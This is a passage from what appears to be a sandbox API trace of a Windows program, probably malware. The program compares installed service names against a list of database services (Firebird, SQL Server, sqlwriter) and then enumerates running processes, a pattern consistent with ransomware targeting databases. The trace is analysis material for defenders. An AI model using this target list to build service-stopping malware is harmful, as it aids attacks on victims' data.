lpString2="CoreMessagingRegistrar") returned 1 [0308.654] lstrlenW (lpString="CryptSvc") returned 8 [0308.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0308.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0308.654] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0308.654] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0308.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0308.654] lstrlenW (lpString="DcomLaunch") returned 10 [0308.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0308.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0308.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0308.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0308.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0308.654] lstrlenW (lpString="DeviceAssociationService") returned 24 [0308.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0308.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0308.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0308.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0308.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0308.654] lstrlenW (lpString="Dhcp") returned 4 [0308.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0308.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0308.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0308.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0308.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0308.654] lstrlenW (lpString="Dnscache") returned 8 [0308.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0308.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0308.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0308.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0308.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0308.655] lstrlenW (lpString="DoSvc") returned 5 [0308.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0308.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0308.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0308.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0308.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0308.655] lstrlenW (lpString="DPS") returned 3 [0308.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0308.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0308.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0308.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0308.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0308.655] lstrlenW (lpString="DusmSvc") returned 7 [0308.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0308.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0308.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0308.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0308.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0308.655] lstrlenW (lpString="EventLog") returned 8 [0308.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0308.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0308.655] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0308.655] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0308.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0308.655] lstrlenW (lpString="EventSystem") returned 11 [0308.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0308.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0308.656] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0308.656] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0308.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0308.656] lstrlenW (lpString="FontCache") returned 9 [0308.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0308.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0308.656] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0308.656] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0308.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0308.656] lstrlenW (lpString="gpsvc") returned 5 [0308.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0308.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0308.656] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0308.656] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0308.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0308.656] lstrlenW (lpString="iphlpsvc") returned 8 [0308.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0308.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0308.656] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0308.656] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0308.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0308.656] lstrlenW (lpString="KeyIso") returned 6 [0308.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0308.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0308.656] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0308.656] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0308.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0308.656] lstrlenW (lpString="LanmanServer") returned 12 [0308.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0308.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0308.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0308.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0308.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0308.657] lstrlenW (lpString="LanmanWorkstation") returned 17 [0308.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0308.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0308.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0308.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0308.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0308.657] lstrlenW (lpString="lfsvc") returned 5 [0308.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0308.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0308.657] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0308.657] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0308.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0308.657] lstrlenW (lpString="lmhosts") returned 7 [0308.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0308.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0308.657] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0308.657] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0308.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0308.657] lstrlenW (lpString="LSM") returned 3 [0308.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0308.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0308.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0308.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0308.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0308.657] lstrlenW (lpString="MapsBroker") returned 10 [0308.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0308.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0308.664] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0308.664] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0308.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0308.664] lstrlenW (lpString="MpsSvc") returned 6 [0308.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0308.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0308.664] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0308.664] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0308.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0308.664] lstrlenW (lpString="NcbService") returned 10 [0308.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0308.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0308.664] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0308.664] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0308.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0308.664] lstrlenW (lpString="netprofm") returned 8 [0308.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0308.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0308.664] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0308.665] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0308.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0308.665] lstrlenW (lpString="NgcSvc") returned 6 [0308.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0308.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0308.665] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0308.665] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0308.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0308.665] lstrlenW (lpString="NlaSvc") returned 6 [0308.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0308.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0308.665] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0308.665] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0308.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0308.665] lstrlenW (lpString="nsi") returned 3 [0308.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0308.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0308.665] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0308.665] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0308.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0308.665] lstrlenW (lpString="PcaSvc") returned 6 [0308.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0308.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0308.665] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0308.665] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0308.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0308.665] lstrlenW (lpString="PlugPlay") returned 8 [0308.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0308.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0308.666] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0308.666] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0308.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0308.666] lstrlenW (lpString="Power") returned 5 [0308.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0308.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0308.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0308.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0308.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0308.666] lstrlenW (lpString="ProfSvc") returned 7 [0308.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0308.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0308.666] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0308.666] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0308.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0308.666] lstrlenW (lpString="RpcEptMapper") returned 12 [0308.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0308.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0308.666] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0308.666] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0308.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0308.666] lstrlenW (lpString="RpcSs") returned 5 [0308.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0308.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0308.666] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0308.666] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0308.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0308.666] lstrlenW (lpString="SamSs") returned 5 [0308.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0308.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0308.667] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0308.667] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0308.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0308.667] lstrlenW (lpString="Schedule") returned 8 [0308.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0308.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0308.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0308.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0308.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0308.667] lstrlenW (lpString="SecurityHealthService") returned 21 [0308.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0308.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0308.667] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0308.667] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0308.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0308.667] lstrlenW (lpString="SENS") returned 4 [0308.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0308.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0308.667] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0308.667] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0308.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0308.667] lstrlenW (lpString="ShellHWDetection") returned 16 [0308.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0308.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0308.667] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0308.667] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0308.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0308.667] lstrlenW (lpString="Spooler") returned 7 [0308.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0308.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0308.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0308.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0308.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0308.668] lstrlenW (lpString="SSDPSRV") returned 7 [0308.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0308.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0308.668] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0308.668] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0308.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0308.668] lstrlenW (lpString="StateRepository") returned 15 [0308.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0308.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0308.668] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0308.668] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0308.668] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0308.668] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f0 [0308.672] Process32FirstW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0308.673] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0308.674] lstrlenW (lpString="System") returned 6 [0308.674] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0308.674] lstrlenW (lpString="smss.exe") returned 8 [0308.674] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0308.675] lstrlenW (lpString="csrss.exe") returned 9 [0308.675] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0308.676] lstrlenW (lpString="wininit.exe") returned 11 [0308.676] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0308.677] lstrlenW (lpString="csrss.exe") returned 9 [0308.677] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0308.677] lstrlenW (lpString="winlogon.exe") returned 12 [0308.677] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0308.678] lstrlenW (lpString="services.exe") returned 12 [0308.678] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0308.679] lstrlenW (lpString="lsass.exe") returned 9 [0308.679] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0308.680] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0308.680] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0308.681] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0308.681] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.682] lstrlenW (lpString="svchost.exe") returned 11 [0308.682] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.682] lstrlenW (lpString="svchost.exe") returned 11 [0308.682] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0308.683] lstrlenW (lpString="dwm.exe") returned 7 [0308.683] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.684] lstrlenW (lpString="svchost.exe") returned 11 [0308.684] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.685] lstrlenW (lpString="svchost.exe") returned 11 [0308.685] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.685] lstrlenW (lpString="svchost.exe") returned 11 [0308.685] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.686] lstrlenW (lpString="svchost.exe") returned 11 [0308.686] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.687] lstrlenW (lpString="svchost.exe") returned 11 [0308.687] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.688] lstrlenW (lpString="svchost.exe") returned 11 [0308.688] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: 